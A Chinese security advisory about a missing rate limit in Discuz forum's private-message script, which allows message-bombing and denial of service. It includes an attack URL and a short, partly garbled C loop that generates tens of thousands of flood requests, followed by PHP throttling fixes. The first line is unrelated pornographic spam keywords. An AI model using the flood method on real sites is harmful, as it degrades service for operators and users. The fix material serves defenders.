欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Discuz論壇短消息未限制發(fā)送次數(shù)漏洞

  發(fā)布時(shí)間:2011-03-11 12:11:52   作者:佚名   我要評(píng)論
  涉及版本:   目前(2003/9/21)所有免費(fèi)版本(我沒(méi)有商業(yè)版)   描述:   由于pm.php發(fā)送消息那部分代碼,缺乏對(duì)時(shí)間間隔的限制。導(dǎo)致任何用戶(hù)可以對(duì)任何用戶(hù)發(fā)送消息炸彈。導(dǎo)致服務(wù)器空間、資源被消耗。嚴(yán)重可導(dǎo)致拒絕服務(wù)。   具體:   大家可以看到pm.php

  涉及版本:

  目前(2003/9/21)所有免費(fèi)版本(我沒(méi)有商業(yè)版)

  描述:

  由于pm.php發(fā)送消息那部分代碼,缺乏對(duì)時(shí)間間隔的限制。導(dǎo)致任何用戶(hù)可以對(duì)任何用戶(hù)發(fā)送消息炸彈。導(dǎo)致服務(wù)器空間、資源被消耗。嚴(yán)重可導(dǎo)致拒絕服務(wù)。

  具體:

  大家可以看到pm.php文件的86行的代碼:

  86 } elseif($action == ’send’) {

  87

  88 if(!$pmsubmit) {

  ……

  179 showmessage(’pm_send_succeed’, ’pm.php’);

  180 }

  這部分代碼沒(méi)有檢測(cè)用戶(hù)發(fā)送短信的時(shí)間間隔限制代碼。我們只要注冊(cè)任意一個(gè)用戶(hù)登陸后,提交:

  http://127.0.0.1/discuz/pm.php?action=send...st&message=test

  就可以轟炸angel這個(gè)用戶(hù)了。提高效率的攻擊方法:

  #incluse

  main()

  {

  int i;

  for(i=0;i<55933;i++)

  {

  printf("nwww.xxx.com/discuz/pm.php?action=send&pmsubmit=submit&msgto=angel&subject=test&message=test",i);

  }

  }

  編譯運(yùn)行file.exe >discuzpm.txt,然后把discuzpm.txt導(dǎo)入任何一款CGI掃描器。Run……

  防范方法:

  一,限制用戶(hù)發(fā)信的間隔時(shí)間

  可以利用PHP的SESSION或者COOKIE來(lái)限制用戶(hù)每次發(fā)信的間隔。處理用戶(hù)發(fā)送短信時(shí),可以選擇以下兩種方式區(qū)別用戶(hù)是否在規(guī)定的時(shí)間內(nèi)連續(xù)發(fā)送短信,假設(shè)管理員設(shè)置兩次發(fā)帖時(shí)間的間隔為2分鐘,看看下面兩個(gè)例子:

  Cookie方式:

  if ($beforepmid) die("對(duì)不起,你兩次發(fā)信的時(shí)間間隔還不到2分鐘"); // $beforepmid

  前一次發(fā)信的ID

  else setcookie("beforepmid",$pmid,time()+60*2,"/","",0); // $pmid

  短信ID

  Session方式:

  session_start();

  if (session_is_registered("time") && time()-$_SESSION[’time’]<60*2)

  {

  die("對(duì)不起,你兩次發(fā)帖的時(shí)間間隔還不到2分鐘"); // $time 前一次發(fā)信的時(shí)間

  } else {

  $time=time();

  session_register("time");

  }

  看起來(lái)Cookie需要發(fā)送到客戶(hù)端,攻擊者可以刪除該Cookie,好象Session比較安全些,在服務(wù)器端。不過(guò)實(shí)際上我認(rèn)為應(yīng)該是差不多的。因?yàn)樗沁B續(xù)發(fā)送,中間的間隔時(shí)間很短,來(lái)不急去刪除該Cookie的。但也不排除自己編段小程序來(lái)刪除Cookie。為了萬(wàn)全,還是使用Session吧。Session方式的文件為"session_pm.php",去掉前面的"session_"然后覆蓋到Discuz目錄下,記得備份原Discuz目錄下的pm.php,以免出錯(cuò)后可以挽回。

  如果希望用Cookie的方式來(lái)防止攻擊的哈,就用這個(gè)"cookie_pm.php"吧。把前面的"cookie_"去掉,然后覆蓋到Discuz目錄下,最好先備份Discuz目錄下的pm.php文件。

  二,對(duì)于以上提高效率的攻擊的防止辦法

  將第86行后加入以下代碼

  $pmsubmit=$_POST[’pmsubmit’];

  $msgto=$_POST[’msgto’];

  $subject=$_POST[’subject’];

  $message=$_POST[’message’];

  OK,這下上面所說(shuō)的的高效攻擊方法失效了。

  最后,付上兩個(gè)修改好的pm.php文件(http://www.4ngel.net/img/pm.rar)。一個(gè)為cookie方式,一個(gè)為session方式。如果你是直接使用上面文件中的一樣,請(qǐng)將文件名改為pm.php然后在覆蓋到discuz目錄下,再進(jìn)入管理遠(yuǎn)后臺(tái)的:界面風(fēng)格->模板套系

  下編輯:Discuz! 語(yǔ)言包 下的 templates 選項(xiàng)。搜索"pm_box_isfull",把

  ’pm_box_isfull’ => ’您的信箱已滿(mǎn),在閱讀短消息前必須刪除一些不用的信息。’,

  改為以下內(nèi)容:

  ’pm_box_isfull’ => ’您的信箱已滿(mǎn),在閱讀短消息前必須刪除一些不用的信息。’,

  ’pm_send_partition’ => ’對(duì)不起,你兩次發(fā)信的時(shí)間間隔還不到2分鐘。’,

  ’pm_nonexistence’ => ’對(duì)不起,短消息不存在或已被刪除。’

  特別感謝金玄網(wǎng)(http://www.gixuan.net)的金玄給予大力的支持和幫助。其實(shí)discuz論壇還是個(gè)未成熟的論壇。還有一些大大小小的漏洞。希望開(kāi)發(fā)者們能注意。

 

 

(本文由責(zé)任編輯 pasu 整理發(fā)布)

 

相關(guān)文章

最新評(píng)論